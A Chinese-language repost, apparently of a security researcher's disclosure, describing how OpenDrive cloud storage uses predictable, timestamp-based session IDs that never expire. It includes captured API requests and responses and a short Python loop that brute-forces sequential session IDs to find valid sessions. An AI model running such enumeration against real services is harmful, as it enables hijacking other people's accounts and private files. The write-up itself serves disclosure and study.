您好,登錄后才能下訂單哦!
發現OpenDrive云存儲平臺的會話機制漏洞的示例分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
最近在對比云存儲解決方案時,我驚訝地發現很多公司仍然在提供無限量云端數據存儲服務方案,像OpenDrive公司就是這樣(注意別和OpenDRIVE格式規范混淆),OpenDrive公司專為個人、商業團體和公司企業提供無限存儲方案。
除了傳統的云存儲功能外,OpenDrive還以軟件客戶端和移動APP的應用形式,為使用客戶提供存儲備份和內容管理解決方案,據OpenDrive官網介紹,包括T-Mobile、Ancestry.com和REMAX在內的很多知名公司,都是其客戶群體。
我通過網頁客戶端,注冊了一個OpenDrive的試用賬戶進行測試。在上傳了一些測試文件之后,我留意查看了其標記和API請求后發現,OpenDrive公司網站架構為WordPress,而且包括樣式、登錄和API使用等很多地方都有明顯定制化開發的痕跡。
我還通過HTTP代理注意到,在整個存儲過程中,存儲機制會對兩個API服務端發起調用,一個是www開頭且用cookie進行驗證的子域名服務端,另一個是如下以web開頭并用單獨的 session ID 進行驗證的API服務端:
GET https://web.opendrive.com/api/v1/download/file.json/ABC123***REMOVED***?session_id=1517592191112474005&inline=0&preview=1 HTTP/1.1 Host: web.opendrive.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Accept: image/webp,image/apng,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
注意上述GET請求中session_id中的值:
session_id=1517592191 112474005
這個值與Unix系統下的時間戳有些類似,它極有可能是用戶初始登錄請求時的時間點轉化過來的信息---不太好是吧!實際上,前10個數字就是從我賬戶首次登錄時的 日期/時間(data/time)信息轉化過來的。
上面session_id中剩下的9位數字可能只是相同登錄時間下的其它更精確的生成值,例如來自服務器端函數,如PHP的microtime中生成的毫秒。我嘗試通過連續發出大量登錄請求,來比較生成的session_id值進行驗證,正如預測的那樣,這些數字都是連續的時間值。
接下來,我決定看看這種會話機制是如何使用的,它對OpenDrive’產品的安全性影響如何。由于網頁客戶端對該API的調用功能有限,所以我在測試手機上安裝了一個OpenDrive的安卓應用APP。
在測試手機上部署好請求代理之后,我就登錄了自己的OpenDrive賬戶,開始瀏覽文件、移動文件夾、訪問我賬戶下的其它信息。經過觀察,我發現,所有API服務端都使用了相同的,且存在漏洞缺陷的以下session_id生成機制,如以下請求示例:
GET https://ai2.opendrive.com/api/v1/users/info.json/1517592191112474005 HTTP/1.1session_id: 1517592191112474005Host: ai2.opendrive.comConnection: Keep-AliveAccept-Encoding: gzipUser-Agent: okhttp/3.7.0
上述請求發起來,返回了相應的JSON響應如下:
{ "UserID": 1853669, "AccessUserID": 0, "UserName": "***REMOVED***", "UserFirstName": "***REMOVED***", "UserLastName": "***REMOVED***", "PrivateKey": "***REMOVED***", "Trial": "0", "UserSince": "1517591533", "BwResetLast": "1517591533", "AccType": "1", "MaxStorage": "5120", "StorageUsed": "361144", "BwMax": "1024", "BwUsed": "0", "FVersioning": "0", "FVersions": "10", "DailyStat": 0, "UserLang": "en", "MaxFileSize": "102400", "Level": "1", "UserPlan": "Basic Plan", "TimeZone": "America\/Los_Angeles", "MaxAccountUsers": "1", "IsAccountUser": 0, "CompanyName": "", "Email": "***REMOVED***", "Phone": "", "Avatar": null, "AvatarColor": "a38f84", "AdminMode": 1, "DueDate": "0000-00-00", "WebLink": "", "PublicProfiles": 0, "RootFolderPermission": 2, "CanChangePwd": 1, "IsPartner": 0, "Partner": "OpenDrive", "SupportUrl": "http:\/\/support.opendrive.com", "PartnerUsersDomain": ".opendrive.com", "Suspended": false, "Affiliation": "0", "UserUID": "5ac61707c2ee6" }
同樣的,以上信息說明,該應用的所有方面都應該是由一個高度可預測且順序的“session”值來控制的。以下是獲取文件夾內容的請求示例:
GET https://ai2.opendrive.com/api/v1/folder/list.json/1517592191112474005/NjlfMTA2NzgyNF93RjZaUw?last_request_time=0&offset=0 HTTP/1.1 session_id: 1517592191112474005 Host: ai2.opendrive.com Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.7.0
響應結果如下:
{ "DirUpdateTime": "1522940036", "Name": "Pictures", "ParentFolderID": "NjlfMF93RjZaUw", "DirectFolderLink": "https:\/\/od.lk\/fl\/NjlfMTA2NzgyNF8", "ResponseType": 1, "Folders": [], "Files": [{ "FileId": "NjlfNzU3MTg2OV9RRDgxUA", "Name": "1337.jpg", "GroupID": 0, "Extension": "jpg", "Size": "5289", "Views": "0", "Version": "", "Downloads": "1", "DateModified": "1522940033", "Access": "2", "Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg2OV8", "DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg2OV8\/1337.jpg", "StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg2OV8\/1337.jpg", "TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg2OV8?inline=1", "ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg2OV9RRDgxUA?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8", "Password": "", "EditOnline": 1 }, { "FileId": "NjlfNzU3MTg3MF9ZQ3NDYg", "Name": "test.jpg", "GroupID": 0, "Extension": "jpg", "Size": "51756", "Views": "0", "Version": "", "Downloads": "0", "DateModified": "1522940034", "Access": "2", "Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg3MF8", "DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg3MF8\/test.jpg", "StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg3MF8\/test.jpg", "TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg3MF8?inline=1", "ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg3MF9ZQ3NDYg?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8", "Password": "", "EditOnline": 1 }] }
注意了,通過分析,我發現,在這種會話機制下,任何OpenDrive系統下的用戶賬戶都會被劫持,而且各自的私人文件都會被以下一段簡單的腳本來實現獲取或破壞,這種情況很難認為它是一個漏洞,也不會覺得是一種根本的設計缺陷。
url = "https://ai2.opendrive.com/api/v1/users/info.json" session = 1517592191112474005 while True: f_url = "{}/{}".format(url, session) r = requests.get(f_url) if r.status_code == 200: print(f_url) session -= 1
這種會話機制的風險顯而易見,但主要存在兩種攻擊場景:一是有適度資源支持的攻擊者可以輕易地探測到系統中有效的其它用戶會話;二是針對單個用戶的定向攻擊只需知道用戶的大概登錄時間,這縮小了攻擊者的會話查找范圍。其它風險隱患:
會話不會過期,OpenDrive系統下我二月份測試的會話在三月份仍然有效;
每次登錄都會生成一個新的會話,這也意味著,任何給定用戶會存在多種會話條目;
存在漏洞的會話機制不只存在于安卓 APP/客戶端,一樣存在于網頁和桌面系統的其它客戶端中,實際上也就是說,所有OpenDrive用戶都會受到影響。
不清楚在之前的OpenDrive的緩解措施中,這種會話還存在多少,但可以肯定的是,這確實是一個安全威脅。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。